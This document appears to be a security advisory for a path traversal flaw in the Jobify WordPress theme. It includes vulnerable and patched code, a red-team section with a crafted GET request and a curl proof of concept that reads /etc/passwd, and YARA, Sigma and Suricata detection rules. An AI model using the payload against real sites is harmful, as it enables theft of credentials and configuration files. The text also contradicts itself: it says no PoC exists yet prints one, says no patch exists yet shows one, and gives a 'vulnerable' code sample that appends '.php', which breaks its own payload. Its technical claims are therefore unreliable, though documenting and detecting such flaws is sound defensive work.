CVE-2024-52481

Executive Summary

CVE-2024-52481 is a Path Traversal vulnerability (CWE-22) affecting the Jobify WordPress theme by Astoundify, versions prior to 4.3.0. This flaw allows an unauthenticated attacker to read arbitrary files on the server by manipulating file paths, potentially exposing sensitive configuration files, database credentials, or source code. The vulnerability is classified as High Severity with a CVSS score of 7.5, and no public exploit code or proof-of-concept has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Organizations using Jobify should verify the integrity of their theme files and ensure they are sourced from trusted channels. No known malicious packages have been identified, but the lack of a vendor patch increases supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is remotely exploitable without authentication, making it attractive for attackers seeking to exfiltrate sensitive data. The low attack complexity and lack of user interaction further elevate the threat.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input used in file path construction within the Jobify theme. Specifically, the theme fails to validate or restrict path traversal sequences (e.g., ../) when processing requests to load template files, assets, or other resources. An attacker can craft a malicious HTTP request containing path traversal characters to navigate outside the intended directory and read arbitrary files on the server.

Example vulnerable code pattern (conceptual):

$file = $_GET['file'];
include( $file . '.php' );

Without proper validation, an attacker can supply ../../../../etc/passwd to read system files.

Vulnerable vs. Patched Code

Vulnerable Code (Jobify < 4.3.0):

// No input validation
$template = $_GET['template'];
$path = get_template_directory() . '/' . $template . '.php';
if (file_exists($path)) {
    include($path);
}

Patched Code (Jobify >= 4.3.0):

// Input validation using basename and realpath
$template = basename($_GET['template']);
$allowed = ['home', 'page', 'single'];
if (in_array($template, $allowed)) {
    $path = get_template_directory() . '/' . $template . '.php';
    if (file_exists($path)) {
        include($path);
    }
}

The patched version restricts file inclusion to a whitelist of allowed templates and uses basename() to strip directory traversal sequences.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with Jobify theme version < 4.3.0.
• Network access to the target server.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/themes/jobify/).
2. Craft a request to read sensitive files:

   GET /wp-content/themes/jobify/?template=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, the server will return the contents of /etc/passwd.

Proof-of-Concept (PoC) using cURL:

curl -v "http://target.com/wp-content/themes/jobify/?template=../../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Alert on requests to /wp-content/themes/jobify/ with suspicious query parameters.

Response:

• Immediately isolate affected systems.
• Review file access logs to determine if sensitive files were accessed.
• Apply virtual patching via WAF rules (see Detection Engineering).
• Upgrade to Jobify 4.3.0 or later.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php, .env
• HTTP Request Patterns:
  • GET /wp-content/themes/jobify/?template=../../../../etc/passwd
  • GET /wp-content/themes/jobify/?template=..%2f..%2f..%2f..%2fetc%2fpasswd
• Log Entries: Requests containing ../ or %2e%2e%2f in the template parameter.
• Network Indicators: Outbound connections from the web server to unknown IPs (if data exfiltration occurs).

Detection Engineering

YARA Rule

rule CVE_2024_52481_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Jobify theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52481"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $param = "template="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: CVE-2024-52481 Jobify Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns in the template parameter targeting Jobify theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "template=../"
            - "template=..\\"
            - "template=%2e%2e%2f"
            - "template=%2e%2e/"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom code (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52481 Jobify Path Traversal Attempt"; flow:to_server; content:"/wp-content/themes/jobify/"; http_uri; content:"template="; http_uri; pcre:"/template=[^&]*(\.\.\/|%2e%2e%2f)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jobify to version 4.3.0 or later if available. If not, apply manual input validation.
2. Implement Web Application Firewall (WAF) rules to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Measures:

• Conduct a security audit of all WordPress themes and plugins.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.
• Regularly update all WordPress components.

Virtual Patch (Apache .htaccess):

RewriteEngine On
RewriteCond %{QUERY_STRING} template=.*\.\..* [NC]
RewriteRule ^wp-content/themes/jobify/ - [F,L]

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